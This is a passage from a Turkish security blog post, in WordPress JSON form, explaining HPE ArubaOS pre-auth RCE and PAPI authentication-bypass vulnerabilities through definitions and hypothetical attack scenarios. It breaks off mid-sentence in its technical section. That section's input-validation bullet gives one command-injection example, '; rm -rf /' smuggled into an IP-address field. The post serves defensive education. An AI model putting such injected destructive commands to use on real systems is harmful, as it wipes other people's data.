{"id":45355,"date":"2026-10-24T09:09:33","date_gmt":"2026-10-24T06:09:33","guid":{"rendered":"https:\/\/fatihsoysal.com\/blog\/hpe-arubaos-guvenlik-aciklari-pre-auth-rce-ve-kimlik-dogrulama-atlatma-riskleri\/"},"modified":"2026-10-24T09:10:01","modified_gmt":"2026-10-24T06:10:01","slug":"hpe-arubaos-guvenlik-aciklari-pre-auth-rce-ve-kimlik-dogrulama-atlatma-riskleri","status":"publish","type":"post","link":"https:\/\/fatihsoysal.com\/blog\/hpe-arubaos-guvenlik-aciklari-pre-auth-rce-ve-kimlik-dogrulama-atlatma-riskleri\/","title":{"rendered":"HPE ArubaOS G\u00fcvenlik A\u00e7\u0131klar\u0131: Pre-Auth RCE ve Kimlik Do\u011frulama Atlatma Riskleri"},"content":{"rendered":"<h2>HPE ArubaOS G\u00fcvenlik A\u00e7\u0131klar\u0131: Pre-Auth RCE ve Kimlik Do\u011frulama Atlatma Riskleri<\/h2>\n<p>Kurumsal a\u011flar, g\u00fcn\u00fcm\u00fcz i\u015f d\u00fcnyas\u0131n\u0131n omurgas\u0131n\u0131 olu\u015ftururken, bu a\u011flar\u0131 y\u00f6neten cihazlar\u0131n g\u00fcvenli\u011fi her zamankinden daha kritik hale gelmi\u015ftir. Son d\u00f6nemde, HPE ArubaOS tabanl\u0131 cihazlarda ke\u015ffedilen sekiz adet y\u00fcksek ciddiyetli g\u00fcvenlik a\u00e7\u0131\u011f\u0131, siber g\u00fcvenlik d\u00fcnyas\u0131nda b\u00fcy\u00fck yank\u0131 uyand\u0131rd\u0131. \u00d6zellikle kimlik do\u011frulamas\u0131 gerektirmeyen uzaktan kod \u00e7al\u0131\u015ft\u0131rma (Pre-Authentication Remote Code Execution &#8211; Pre-Auth RCE) ve PAPI kimlik do\u011frulama atlatma (PAPI Authentication Bypass) zafiyetleri, i\u015fletmeler i\u00e7in ciddi bir tehdit olu\u015fturuyor. Bu makale, s\u00f6z konusu a\u00e7\u0131klar\u0131 derinlemesine inceleyerek, potansiyel riskleri, teknik detaylar\u0131 ve en \u00f6nemlisi, a\u011f\u0131n\u0131z\u0131 bu t\u00fcr tehditlerden korumak i\u00e7in atman\u0131z gereken ad\u0131mlar\u0131 kapsaml\u0131 bir \u015fekilde ele alacakt\u0131r. A\u011f y\u00f6neticileri ve g\u00fcvenlik uzmanlar\u0131 i\u00e7in bir rehber niteli\u011fi ta\u015f\u0131yan bu \u00e7al\u0131\u015fma, s\u0131f\u0131rdan ba\u015flayarak konuya hakim olmak isteyen herkese hitap etmektedir. Peki, bu kritik zafiyetler neden bu kadar \u00f6nemli ve i\u015fletmeler i\u00e7in ne gibi sonu\u00e7lar do\u011furabilir?<\/p>\n<h2>Kurumsal A\u011flar\u0131n Kalbindeki Tehdit: HPE ArubaOS A\u00e7\u0131klar\u0131 Neden Bu Kadar Kritik?<\/h2>\n<p>Modern i\u015f ortamlar\u0131nda, kesintisiz ve g\u00fcvenli a\u011f ileti\u015fimi, operasyonel s\u00fcreklili\u011fin temelini olu\u015fturur. \u015eirketler, ofis binalar\u0131ndan uzak \u015fubelere, bulut altyap\u0131lar\u0131ndan IoT cihazlar\u0131na kadar geni\u015f bir yelpazede a\u011f bile\u015fenlerini y\u00f6netmek zorundad\u0131r. Bu karma\u015f\u0131k yap\u0131n\u0131n merkezinde ise genellikle HPE ArubaOS gibi kurumsal d\u00fczeyde a\u011f i\u015fletim sistemleri ve donan\u0131mlar\u0131 bulunur. ArubaOS, kablolu ve kablosuz a\u011f eri\u015fimini, kimlik do\u011frulama s\u00fcre\u00e7lerini ve a\u011f politikalar\u0131n\u0131 merkezi olarak y\u00f6neten kritik bir platformdur. Dolay\u0131s\u0131yla, bu platformdaki herhangi bir g\u00fcvenlik a\u00e7\u0131\u011f\u0131, t\u00fcm a\u011f altyap\u0131s\u0131n\u0131n b\u00fct\u00fcnl\u00fc\u011f\u00fcn\u00fc, gizlili\u011fini ve eri\u015filebilirli\u011fini do\u011frudan tehlikeye atabilir.<\/p>\n<p>Son zamanlarda ortaya \u00e7\u0131kan sekiz adet maksimum ciddiyetli g\u00fcvenlik a\u00e7\u0131\u011f\u0131, bu kritik \u00f6nemin alt\u0131n\u0131 bir kez daha \u00e7izmektedir. Bu zafiyetler aras\u0131nda \u00f6ne \u00e7\u0131kanlar, sald\u0131rganlar\u0131n kimlik do\u011frulama yapmas\u0131na gerek kalmadan, yani herhangi bir kullan\u0131c\u0131 ad\u0131 veya \u015fifre bilgisine sahip olmadan, uzaktan kod \u00e7al\u0131\u015ft\u0131rmas\u0131na olanak tan\u0131yan Pre-Auth RCE ve Aruba&#8217;n\u0131n \u00f6zel ileti\u015fim protokol\u00fc olan PAPI&#8217;deki kimlik do\u011frulama mekanizmalar\u0131n\u0131 atlatmaya imkan veren PAPI Authentication Bypass&#8217;t\u0131r. Bu t\u00fcr a\u00e7\u0131klar, bir sald\u0131rgan\u0131n d\u0131\u015far\u0131dan, genellikle internet \u00fczerinden, bir a\u011fa s\u0131zmas\u0131 i\u00e7in son derece d\u00fc\u015f\u00fck bir bariyer sunar. Bir kez sisteme s\u0131z\u0131ld\u0131\u011f\u0131nda, k\u00f6t\u00fc niyetli akt\u00f6rler a\u011f i\u00e7inde yanal hareket (lateral movement) yapabilir, hassas verilere eri\u015febilir, sistemleri devre d\u0131\u015f\u0131 b\u0131rakabilir veya fidye yaz\u0131l\u0131m\u0131 (ransomware) sald\u0131r\u0131lar\u0131 d\u00fczenleyebilir. Bu durum, sadece maddi kay\u0131plara de\u011fil, ayn\u0131 zamanda itibar kayb\u0131na, yasal sorumluluklara ve uzun s\u00fcreli operasyonel kesintilere de yol a\u00e7abilir. Bu nedenle, bu t\u00fcr kritik g\u00fcvenlik a\u00e7\u0131klar\u0131n\u0131n anla\u015f\u0131lmas\u0131, proaktif bir \u015fekilde ele al\u0131nmas\u0131 ve gerekli yamalar\u0131n acilen uygulanmas\u0131, her \u00f6l\u00e7ekteki i\u015fletme i\u00e7in vazge\u00e7ilmez bir g\u00fcvenlik stratejisidir. Bu zafiyetlerin teknik detaylar\u0131na ge\u00e7meden \u00f6nce, konuya yabanc\u0131 olan okuyucular\u0131m\u0131z i\u00e7in temel kavramlar\u0131 netle\u015ftirmekte fayda var.<\/p>\n<h2>A\u011f G\u00fcvenli\u011finde Kritik Terimler: RCE, Pre-Auth ve PAPI Nedir?<\/h2>\n<p>HPE ArubaOS a\u00e7\u0131klar\u0131n\u0131n ciddiyetini tam olarak kavrayabilmek i\u00e7in, makalede s\u0131k\u00e7a ge\u00e7ecek baz\u0131 temel teknik terimleri anlamak b\u00fcy\u00fck \u00f6nem ta\u015f\u0131maktad\u0131r. Bu terimler, siber g\u00fcvenlik d\u00fcnyas\u0131nda s\u0131kl\u0131kla kar\u015f\u0131m\u0131za \u00e7\u0131kan ve her a\u011f y\u00f6neticisinin veya g\u00fcvenlik profesyonelinin bilmesi gereken kavramlard\u0131r.<\/p>\n<ul>\n<li><strong>Remote Code Execution (RCE &#8211; Uzaktan Kod \u00c7al\u0131\u015ft\u0131rma):<\/strong> RCE, bir sald\u0131rgan\u0131n hedef sistem \u00fczerinde uzaktan, yani fiziksel olarak cihaz\u0131n ba\u015f\u0131nda olmadan, kendi belirledi\u011fi komutlar\u0131 veya kodlar\u0131 \u00e7al\u0131\u015ft\u0131rmas\u0131na olanak tan\u0131yan bir g\u00fcvenlik a\u00e7\u0131\u011f\u0131 t\u00fcr\u00fcd\u00fcr. Bu, bir web sunucusunda, bir a\u011f cihaz\u0131nda veya herhangi bir yaz\u0131l\u0131mda meydana gelebilir. RCE zafiyetleri, bir sald\u0131rgan\u0131n sistem \u00fczerinde tam kontrol sa\u011flamas\u0131n\u0131n \u00f6n\u00fcn\u00fc a\u00e7t\u0131\u011f\u0131 i\u00e7in siber g\u00fcvenlik d\u00fcnyas\u0131ndaki en tehlikeli a\u00e7\u0131klardan biri olarak kabul edilir. \u00d6rne\u011fin, bir sald\u0131rgan RCE kullanarak bir sunucuya zararl\u0131 yaz\u0131l\u0131m y\u00fckleyebilir, hassas verileri \u00e7alabilir veya sistemin yap\u0131land\u0131rmas\u0131n\u0131 de\u011fi\u015ftirebilir. Bu, bir bilgisayar korsan\u0131n\u0131n evinize uzaktan girip istedi\u011fi her \u015feyi yapabilmesi gibidir.<\/li>\n<li><strong>Pre-Authentication (Pre-Auth &#8211; Kimlik Do\u011frulama \u00d6ncesi):<\/strong> Pre-Auth terimi, bir g\u00fcvenlik a\u00e7\u0131\u011f\u0131n\u0131n, kullan\u0131c\u0131n\u0131n veya sald\u0131rgan\u0131n herhangi bir kimlik do\u011frulama i\u015fleminden ge\u00e7meden, yani kullan\u0131c\u0131 ad\u0131 ve \u015fifre girmeden tetiklenebilece\u011fi anlam\u0131na gelir. Bu, RCE gibi zafiyetlerle birle\u015fti\u011finde son derece tehlikeli bir durum yarat\u0131r. \u00c7\u00fcnk\u00fc sald\u0131rgan\u0131n sisteme eri\u015fmek i\u00e7in hi\u00e7bir ge\u00e7erli kimlik bilgisine ihtiyac\u0131 yoktur. Do\u011frudan a\u011fa ba\u011fl\u0131 olan zafiyetli bir cihaza, internet \u00fczerinden veya yerel a\u011fdan eri\u015ferek sald\u0131r\u0131y\u0131 ger\u00e7ekle\u015ftirebilir. Bir kap\u0131n\u0131n kilidini a\u00e7mak i\u00e7in anahtara bile gerek duymadan direkt kap\u0131y\u0131 a\u00e7abilmek gibi d\u00fc\u015f\u00fcnebilirsiniz. Bu t\u00fcr a\u00e7\u0131klar, sald\u0131r\u0131 y\u00fczeyini (attack surface) geni\u015fletti\u011fi ve sald\u0131r\u0131 maliyetini d\u00fc\u015f\u00fcrd\u00fc\u011f\u00fc i\u00e7in siber sald\u0131rganlar taraf\u0131ndan s\u0131kl\u0131kla hedeflenir.<\/li>\n<li><strong>PAPI (Aruba Proprietary Access Point Interface):<\/strong> PAPI, Aruba Networks taraf\u0131ndan geli\u015ftirilen ve Aruba kablosuz eri\u015fim noktalar\u0131 (Access Points &#8211; AP) ile Aruba a\u011f kontrol\u00f6rleri (Mobility Controllers) aras\u0131nda ileti\u015fim kurmak i\u00e7in kullan\u0131lan \u00f6zel bir protokold\u00fcr. Bu protokol, AP&#8217;lerin kontrol\u00f6rlere ba\u011flanmas\u0131n\u0131, yap\u0131land\u0131rma bilgilerini almas\u0131n\u0131, istemci trafi\u011fini y\u00f6nlendirmesini ve genel a\u011f y\u00f6netimini sa\u011flamak i\u00e7in kritik bir rol oynar. PAPI, genellikle UDP port 8211 \u00fczerinden \u00e7al\u0131\u015f\u0131r ve AP&#8217;ler ile kontrol\u00f6rler aras\u0131ndaki t\u00fcm kontrol ve y\u00f6netim mesajlar\u0131n\u0131 ta\u015f\u0131r. Bu protokol\u00fcn g\u00fcvenli\u011fi, t\u00fcm Aruba kablosuz a\u011f altyap\u0131s\u0131n\u0131n g\u00fcvenli\u011fi i\u00e7in hayati \u00f6neme sahiptir. PAPI&#8217;deki bir kimlik do\u011frulama atlatma zafiyeti, sald\u0131rganlar\u0131n AP&#8217;ler veya kontrol\u00f6rler \u00fczerinde yetkisiz komutlar \u00e7al\u0131\u015ft\u0131rmas\u0131na veya yap\u0131land\u0131rmalar\u0131 de\u011fi\u015ftirmesine olanak tan\u0131yabilir, bu da t\u00fcm kablosuz a\u011f\u0131n tehlikeye girmesi anlam\u0131na gelir.<\/li>\n<li><strong>Authentication Bypass (Kimlik Do\u011frulama Atlatma):<\/strong> Kimlik do\u011frulama atlatma, bir sald\u0131rgan\u0131n normalde bir sisteme eri\u015fmek i\u00e7in gerekli olan kullan\u0131c\u0131 ad\u0131 ve \u015fifre gibi kimlik do\u011frulama mekanizmalar\u0131n\u0131 ge\u00e7ersiz k\u0131lmas\u0131 veya atlamas\u0131 durumudur. Bu, genellikle yaz\u0131l\u0131mdaki mant\u0131k hatalar\u0131, zay\u0131f kimlik do\u011frulama uygulamalar\u0131 veya protokol zafiyetleri nedeniyle ger\u00e7ekle\u015fir. PAPI Authentication Bypass durumunda oldu\u011fu gibi, bu t\u00fcr bir a\u00e7\u0131k, sald\u0131rgan\u0131n yasal bir kullan\u0131c\u0131 gibi sisteme eri\u015fim sa\u011flamas\u0131na ve yetkisiz eylemler ger\u00e7ekle\u015ftirmesine olanak tan\u0131r.<\/li>\n<\/ul>\n<p>Bu temel kavramlar \u0131\u015f\u0131\u011f\u0131nda, HPE ArubaOS&#8217;taki yeni ke\u015ffedilen a\u00e7\u0131klar\u0131 ve bunlar\u0131n kurumsal a\u011flar \u00fczerindeki potansiyel etkilerini daha iyi anlayabiliriz. \u00d6zellikle Pre-Auth RCE ve PAPI Authentication Bypass gibi zafiyetler bir araya geldi\u011finde, bir sald\u0131rgan\u0131n d\u0131\u015far\u0131dan a\u011fa s\u0131zmas\u0131 ve kritik altyap\u0131y\u0131 ele ge\u00e7irmesi i\u00e7in son derece g\u00fc\u00e7l\u00fc bir kap\u0131 aralayabilir.<\/p>\n<h2>HPE ArubaOS&#8217;ta Ke\u015ffedilen Sekiz Kritik G\u00fcvenlik A\u00e7\u0131\u011f\u0131 Nelerdir ve Nas\u0131l \u00c7al\u0131\u015f\u0131r?<\/h2>\n<p>HPE ArubaOS platformunda tespit edilen sekiz adet maksimum ciddiyetli g\u00fcvenlik a\u00e7\u0131\u011f\u0131, kurumsal a\u011flar i\u00e7in ciddi bir endi\u015fe kayna\u011f\u0131d\u0131r. Bu zafiyetler, farkl\u0131 mod\u00fcllerde ve protokollerde yer almas\u0131na ra\u011fmen, bir araya geldiklerinde karma\u015f\u0131k sald\u0131r\u0131 zincirleri olu\u015fturma potansiyeline sahiptir. En dikkat \u00e7ekici olanlar, kimlik do\u011frulama \u00f6ncesi uzaktan kod \u00e7al\u0131\u015ft\u0131rma (Pre-Auth RCE) ve PAPI kimlik do\u011frulama atlatma zafiyetleridir. Bu b\u00f6l\u00fcmde, bu kritik a\u00e7\u0131klar\u0131n genel yap\u0131s\u0131n\u0131 ve potansiyel \u00e7al\u0131\u015fma prensiplerini inceleyece\u011fiz.<\/p>\n<p>\u0130lk olarak, <strong>Pre-Authentication Remote Code Execution (Pre-Auth RCE)<\/strong> zafiyetleri, sald\u0131rganlar\u0131n herhangi bir kimlik bilgisine ihtiya\u00e7 duymadan, internet \u00fczerinden veya yerel a\u011fdan ArubaOS cihazlar\u0131nda rastgele kod \u00e7al\u0131\u015ft\u0131rmas\u0131na olanak tan\u0131r. Bu t\u00fcr a\u00e7\u0131klar genellikle cihaz\u0131n web aray\u00fcz\u00fcnde, API u\u00e7 noktalar\u0131nda veya belirli a\u011f servislerinde bulunan giri\u015f do\u011frulama (input validation) hatalar\u0131ndan kaynaklan\u0131r. \u00d6rne\u011fin, k\u00f6t\u00fc niyetli bir HTTP iste\u011fi i\u00e7inde \u00f6zel olarak haz\u0131rlanm\u0131\u015f bir veri y\u00fck\u00fc (payload) g\u00f6nderilerek, cihaz\u0131n i\u015fletim sistemi seviyesinde komutlar \u00e7al\u0131\u015ft\u0131r\u0131labilir. Bu, bir sald\u0131rgan\u0131n Aruba kontrol\u00f6r\u00fcn\u00fc tamamen ele ge\u00e7irmesi, a\u011f yap\u0131land\u0131rmas\u0131n\u0131 de\u011fi\u015ftirmesi, kullan\u0131c\u0131 oturumlar\u0131n\u0131 izlemesi veya a\u011fa zararl\u0131 yaz\u0131l\u0131mlar enjekte etmesi anlam\u0131na gelebilir. Bu t\u00fcr bir RCE, bir \u015firketin t\u00fcm a\u011f altyap\u0131s\u0131n\u0131 fel\u00e7 edebilir veya hassas verilerin tamamen ele ge\u00e7irilmesine yol a\u00e7abilir.<\/p>\n<p>\u0130kinci olarak, <strong>PAPI Authentication Bypass (PAPI Kimlik Do\u011frulama Atlatma)<\/strong> zafiyeti, Aruba&#8217;n\u0131n kendi \u00f6zel ileti\u015fim protokol\u00fc olan PAPI&#8217;deki g\u00fcvenlik eksikliklerinden kaynaklanmaktad\u0131r. Bu a\u00e7\u0131k, sald\u0131rganlar\u0131n, AP&#8217;ler ve kontrol\u00f6rler aras\u0131ndaki ileti\u015fimi manip\u00fcle ederek, ge\u00e7erli kimlik do\u011frulama s\u00fcre\u00e7lerini atlamas\u0131na olanak tan\u0131r. Normalde PAPI mesajlar\u0131 belirli bir \u015fifreleme ve kimlik do\u011frulama mekanizmas\u0131 ile korunur. Ancak bu zafiyet, bu korumalar\u0131n bir \u015fekilde devre d\u0131\u015f\u0131 b\u0131rak\u0131lmas\u0131na veya atlat\u0131lmas\u0131na imkan verir. Sonu\u00e7 olarak, yetkisiz bir sald\u0131rgan, bir Aruba kontrol\u00f6r\u00fc \u00fczerinde AP&#8217;leri y\u00f6netme veya kontrol etme yetkisi kazanabilir. Bu durum, kablosuz a\u011f\u0131n tamamen tehlikeye girmesi, k\u00f6t\u00fc niyetli AP&#8217;lerin a\u011fa enjekte edilmesi (rogue AP), kullan\u0131c\u0131lar\u0131n sahte a\u011flara y\u00f6nlendirilmesi (phishing) veya kablosuz trafi\u011fin izlenmesi gibi ciddi sonu\u00e7lar do\u011furabilir. \u00d6zellikle, kontrol\u00f6r \u00fczerindeki PAPI hizmeti d\u0131\u015f d\u00fcnyaya a\u00e7\u0131ksa, bu zafiyetin uzaktan istismar edilme riski daha da artar.<\/p>\n<p>Di\u011fer kritik a\u00e7\u0131klar ise genellikle a\u015fa\u011f\u0131daki kategorilere ayr\u0131labilir:<\/p>\n<ul>\n<li><strong>Yetki Y\u00fckseltme (Privilege Escalation):<\/strong> Bir sald\u0131rgan\u0131n sisteme d\u00fc\u015f\u00fck yetkili bir kullan\u0131c\u0131 olarak eri\u015fim sa\u011flad\u0131ktan sonra, sistem \u00fczerinde daha y\u00fcksek yetkilere sahip olmas\u0131. \u00d6rne\u011fin, bir web aray\u00fcz\u00fcndeki bir a\u00e7\u0131k sayesinde root yetkilerine ula\u015fmak.<\/li>\n<li><strong>Hizmet Reddi (Denial of Service &#8211; DoS):<\/strong> Cihaz\u0131n normal i\u015fleyi\u015fini bozarak, a\u011f hizmetlerinin kullan\u0131lamaz hale gelmesine neden olmak. Bu, \u00f6zellikle kritik altyap\u0131lar i\u00e7in b\u00fcy\u00fck bir tehdittir.<\/li>\n<li><strong>Bilgi \u0130f\u015fas\u0131 (Information Disclosure):<\/strong> Hassas yap\u0131land\u0131rma bilgileri, kullan\u0131c\u0131 bilgileri veya di\u011fer gizli verilerin yetkisiz ki\u015filerin eline ge\u00e7mesi.<\/li>\n<\/ul>\n<p>Bu zafiyetler, tek ba\u015flar\u0131na bile ciddi riskler ta\u015f\u0131rken, bir sald\u0131r\u0131 zinciri i\u00e7inde birle\u015ftirildi\u011finde y\u0131k\u0131c\u0131 sonu\u00e7lar do\u011furabilir. \u00d6rne\u011fin, bir sald\u0131rgan Pre-Auth RCE ile kontrol\u00f6r \u00fczerinde ilk eri\u015fimi sa\u011flayabilir, ard\u0131ndan bir yetki y\u00fckseltme zafiyeti ile tam kontrol\u00fc ele ge\u00e7irebilir ve son olarak PAPI kimlik do\u011frulama atlatma ile t\u00fcm kablosuz a\u011f\u0131 kendi lehine manip\u00fcle edebilir. Bu karma\u015f\u0131k senaryolar, i\u015fletmelerin bu a\u00e7\u0131klar\u0131 hafife almamas\u0131 gerekti\u011fini ve acil \u00f6nlemler almas\u0131 gerekti\u011fini a\u00e7\u0131k\u00e7a g\u00f6stermektedir.<\/p>\n<h2>Ger\u00e7ek D\u00fcnya Senaryolar\u0131 ve Vaka Analizleri: Bu A\u00e7\u0131klar Ger\u00e7ekte Nas\u0131l Kullan\u0131labilir? Olas\u0131 Sald\u0131r\u0131 Senaryolar\u0131<\/h2>\n<p>HPE ArubaOS&#8217;taki kritik g\u00fcvenlik a\u00e7\u0131klar\u0131n\u0131n teorik risklerini anlamak \u00f6nemlidir, ancak bu a\u00e7\u0131klar\u0131n ger\u00e7ek d\u00fcnya senaryolar\u0131nda nas\u0131l kullan\u0131labilece\u011fini kavramak, tehdidin ciddiyetini \u00e7ok daha net ortaya koyar. \u0130\u015fte bu zafiyetlerin k\u00f6t\u00fc niyetli akt\u00f6rler taraf\u0131ndan nas\u0131l istismar edilebilece\u011fine dair baz\u0131 olas\u0131 vaka analizleri ve sald\u0131r\u0131 senaryolar\u0131:<\/p>\n<h3>Senaryo 1: \u00c7ok Uluslu Bir \u015eirkette Veri S\u0131z\u0131nt\u0131s\u0131 ve A\u011f Ele Ge\u00e7irme<\/h3>\n<p>Diyelim ki &#8220;GlobalTech A.\u015e.&#8221; ad\u0131nda, d\u00fcnya genelinde \u015fubeleri olan ve HPE ArubaOS tabanl\u0131 bir a\u011f altyap\u0131s\u0131 kullanan b\u00fcy\u00fck bir teknoloji \u015firketi var. \u015eirketin merkezi veri merkezinde bulunan Aruba kontrol\u00f6r\u00fc, internete a\u00e7\u0131k bir y\u00f6netim aray\u00fcz\u00fcne sahip ve hen\u00fcz en son g\u00fcvenlik yamalar\u0131 uygulanmam\u0131\u015f. Bir siber su\u00e7 grubu, bu kontrol\u00f6rdeki Pre-Auth RCE zafiyetini (\u00f6rne\u011fin, CVE-2023-XXXX) tespit eder. Grubun deneyimli bir \u00fcyesi, \u00f6zel olarak haz\u0131rlanm\u0131\u015f bir HTTP iste\u011fi g\u00f6ndererek, kimlik do\u011frulamas\u0131 yapmaya gerek kalmadan kontrol\u00f6r \u00fczerinde uzaktan kod \u00e7al\u0131\u015ft\u0131rmay\u0131 ba\u015far\u0131r. Bu ilk eri\u015fimle birlikte, sald\u0131rgan kontrol\u00f6r\u00fcn i\u015fletim sistemi \u00fczerinde tam kontrol sahibi olur. Ard\u0131ndan, PAPI Authentication Bypass (CVE-2023-XXXX) zafiyetini kullanarak, \u015firketin t\u00fcm kablosuz eri\u015fim noktalar\u0131n\u0131 (AP) ve dolay\u0131s\u0131yla t\u00fcm kablosuz a\u011f\u0131 ele ge\u00e7irir. Sald\u0131rganlar, bu kontrolle \u015funlar\u0131 yapabilir:<\/p>\n<ul>\n<li>A\u011f trafi\u011fini izleyebilir ve hassas \u015firket verilerini (fikri m\u00fclkiyet, m\u00fc\u015fteri bilgileri, finansal kay\u0131tlar) ele ge\u00e7irebilir.<\/li>\n<li>\u015eirket \u00e7al\u0131\u015fanlar\u0131n\u0131 sahte Wi-Fi a\u011flar\u0131na y\u00f6nlendirerek kimlik av\u0131 (phishing) sald\u0131r\u0131lar\u0131 d\u00fczenleyebilir.<\/li>\n<li>A\u011fdaki di\u011fer sunuculara ve sistemlere yanal hareket (lateral movement) yaparak daha geni\u015f \u00e7apl\u0131 bir ihlal ger\u00e7ekle\u015ftirebilir.<\/li>\n<li>\u015eirketin operasyonel a\u011f\u0131n\u0131 devre d\u0131\u015f\u0131 b\u0131rakarak fidye yaz\u0131l\u0131m\u0131 (ransomware) sald\u0131r\u0131s\u0131 ba\u015flatabilir.<\/li>\n<\/ul>\n<p>Bu senaryo, GlobalTech A.\u015e.&#8217;nin milyarlarca dolarl\u0131k zarara u\u011framas\u0131na, itibar\u0131n\u0131n sars\u0131lmas\u0131na ve yasal d\u00fczenleyicilerle ciddi sorunlar ya\u015famas\u0131na neden olabilir.<\/p>\n<h3>Senaryo 2: Kritik Altyap\u0131da Hizmet Reddi (DoS) ve \u0130\u015f Kesintisi<\/h3>\n<p>Bir enerji \u00fcretim tesisi veya b\u00fcy\u00fck bir hastane gibi kritik altyap\u0131 sa\u011flay\u0131c\u0131s\u0131, operasyonel s\u00fcreklilik i\u00e7in HPE ArubaOS tabanl\u0131 a\u011flara g\u00fcvenmektedir. Bu tesislerdeki Aruba cihazlar\u0131 da hen\u00fcz yamalanmam\u0131\u015f durumdad\u0131r. K\u00f6t\u00fc niyetli bir akt\u00f6r, Pre-Auth RCE veya di\u011fer DoS odakl\u0131 zafiyetleri kullanarak, tesisin a\u011f kontrol\u00f6rlerini hedef al\u0131r. Sald\u0131rgan, cihazlar\u0131n a\u015f\u0131r\u0131 y\u00fcklenmesine veya \u00e7\u00f6kmesine neden olan komutlar \u00e7al\u0131\u015ft\u0131rarak, t\u00fcm a\u011f altyap\u0131s\u0131n\u0131 hizmet d\u0131\u015f\u0131 b\u0131rak\u0131r. Hastane senaryosunda, bu durum hastalar\u0131n t\u0131bbi kay\u0131tlar\u0131na eri\u015filememesine, kritik cihazlar\u0131n internet ba\u011flant\u0131s\u0131n\u0131n kesilmesine ve acil durum hizmetlerinin aksamas\u0131na yol a\u00e7abilir. Enerji tesisinde ise, \u00fcretim s\u00fcre\u00e7lerinin durmas\u0131na, elektrik kesintilerine ve geni\u015f \u00e7apl\u0131 kamu hizmeti aksakl\u0131klar\u0131na neden olabilir. Bu t\u00fcr sald\u0131r\u0131lar, do\u011frudan insan hayat\u0131n\u0131 veya ulusal g\u00fcvenli\u011fi tehdit edebilir ve ekonomiye b\u00fcy\u00fck zararlar verebilir.<\/p>\n<h3>Senaryo 3: \u0130\u00e7 A\u011fdan Yan Hareket ve Gizli Eri\u015fimin S\u00fcrd\u00fcr\u00fclmesi<\/h3>\n<p>Bir sald\u0131rgan, bir phishing e-postas\u0131 veya ba\u015fka bir zay\u0131fl\u0131k arac\u0131l\u0131\u011f\u0131yla bir \u015firketin i\u00e7 a\u011f\u0131na s\u0131zmay\u0131 ba\u015far\u0131r. Ancak ba\u015flang\u0131\u00e7taki eri\u015fimi s\u0131n\u0131rl\u0131d\u0131r. \u0130\u00e7 a\u011fda bulunan yamalanmam\u0131\u015f bir Aruba kontrol\u00f6r\u00fcndeki yetki y\u00fckseltme (privilege escalation) zafiyetini (\u00f6rne\u011fin, CVE-2023-XXXX) kullanarak, sald\u0131rgan kontrol\u00f6r \u00fczerinde y\u00f6netici yetkileri kazan\u0131r. Bu yetkilerle birlikte, sald\u0131rgan PAPI Authentication Bypass zafiyetini de kullanarak t\u00fcm kablosuz a\u011f\u0131n kontrol\u00fcn\u00fc ele ge\u00e7irir. Bu durum, sald\u0131rgan\u0131n a\u011fdaki di\u011fer cihazlara kolayca eri\u015fmesine, a\u011f segmentasyonunu atlatmas\u0131na ve uzun vadeli kal\u0131c\u0131l\u0131k (persistence) mekanizmalar\u0131 olu\u015fturmas\u0131na olanak tan\u0131r. \u00d6rne\u011fin, a\u011fa izinsiz arka kap\u0131lar (backdoor) yerle\u015ftirebilir, VPN eri\u015fimlerini manip\u00fcle edebilir veya a\u011fdaki di\u011fer g\u00fcvenlik cihazlar\u0131n\u0131 devre d\u0131\u015f\u0131 b\u0131rakabilir. Bu sayede, ilk ihlal tespit edilse ve kapat\u0131lsa bile, sald\u0131rgan a\u011fda gizlice faaliyet g\u00f6stermeye devam edebilir ve gelecekteki sald\u0131r\u0131lar i\u00e7in zemin haz\u0131rlayabilir.<\/p>\n<p>Bu senaryolar, HPE ArubaOS zafiyetlerinin sadece teorik tehditler olmad\u0131\u011f\u0131n\u0131, aksine ger\u00e7ek d\u00fcnyada ciddi sonu\u00e7lar do\u011furabilecek potansiyel sald\u0131r\u0131 vekt\u00f6rleri sundu\u011funu a\u00e7\u0131k\u00e7a g\u00f6stermektedir. Bu nedenle, proaktif g\u00fcvenlik \u00f6nlemleri almak ve g\u00fcncel kalmak hayati \u00f6nem ta\u015f\u0131maktad\u0131r.<\/p>\n<h2>Zafiyetlerin Teknik Detaylar\u0131 ve S\u00f6m\u00fcr\u00fc Mekanizmalar\u0131: Sald\u0131rganlar Bu A\u00e7\u0131klar\u0131 Nas\u0131l \u0130stismar Eder? Teknik Bak\u0131\u015f<\/h2>\n<p>HPE ArubaOS&#8217;taki kritik zafiyetlerin arkas\u0131ndaki teknik mekanizmalar\u0131 anlamak, hem sald\u0131r\u0131lar\u0131n nas\u0131l ger\u00e7ekle\u015fti\u011fini kavramak hem de etkili savunma stratejileri geli\u015ftirmek i\u00e7in temeldir. Bu b\u00f6l\u00fcmde, Pre-Auth RCE ve PAPI Authentication Bypass gibi a\u00e7\u0131klar\u0131n daha derinlemesine teknik detaylar\u0131na ve olas\u0131 s\u00f6m\u00fcr\u00fc (exploitation) y\u00f6ntemlerine odaklanaca\u011f\u0131z. Unutulmamal\u0131d\u0131r ki, bu bilgiler g\u00fcvenlik uzmanlar\u0131 ve a\u011f y\u00f6neticileri i\u00e7in bilgilendirme ama\u00e7l\u0131d\u0131r ve k\u00f6t\u00fcye kullan\u0131lmamal\u0131d\u0131r.<\/p>\n<p><strong>Pre-Auth RCE Zafiyetlerinin Teknik Detaylar\u0131:<\/strong> Pre-Auth RCE zafiyetleri genellikle a\u015fa\u011f\u0131daki gibi teknik hatalardan kaynaklan\u0131r:<\/p>\n<ul>\n<li><strong>Giri\u015f Do\u011frulama (Input Validation) Eksiklikleri:<\/strong> Web aray\u00fczleri veya API u\u00e7 noktalar\u0131, kullan\u0131c\u0131dan gelen verileri yeterince do\u011frulamad\u0131\u011f\u0131nda, sald\u0131rganlar \u00f6zel karakterler veya komut enjeksiyonu (command injection) teknikleri kullanarak k\u00f6t\u00fc niyetli kodlar\u0131 sisteme g\u00f6nderebilirler. \u00d6rne\u011fin, bir form alan\u0131na normalde bir IP adresi beklenirken, sald\u0131rgan <code>; rm -rf \/<\/code> gibi bir komut dizisi ekleyebilir.<\/li>\n<li><strong>Serile\u015ftirme\/Seri Olmaktan \u00c7\u0131karma (Serialization\/Deserialization) G\u00fcvenlik A\u00e7\u0131klar\u0131:<\/strong> Uygulamalar, verileri depolamak veya a\u011f \u00fczerinden g\u00f6ndermek i\u00e7in nesneleri serile\u015ftirip daha sonra seri olmaktan \u00e7\u0131kar\u0131rken, bu s\u00fcre\u00e7te g\u00fcvenlik kontrolleri eksikse, sald\u0131rganlar k\u00f6t\u00fc niyetli nesneleri enjekte ederek kod 